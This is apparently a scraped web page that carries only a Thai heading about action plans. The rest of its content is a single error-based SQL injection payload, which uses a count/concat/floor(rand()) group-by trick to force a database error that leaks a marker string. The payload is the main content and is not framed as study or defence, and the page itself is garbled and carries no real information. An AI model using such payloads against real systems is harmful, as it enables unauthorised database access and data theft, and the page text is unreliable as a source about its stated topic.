แผนปฎิบัติการด้านต่างๆ

(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(119),CHAR(84),CHAR(55),CHAR(111),CHAR(88),CHAR(104),CHAR(97),CHAR(85)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))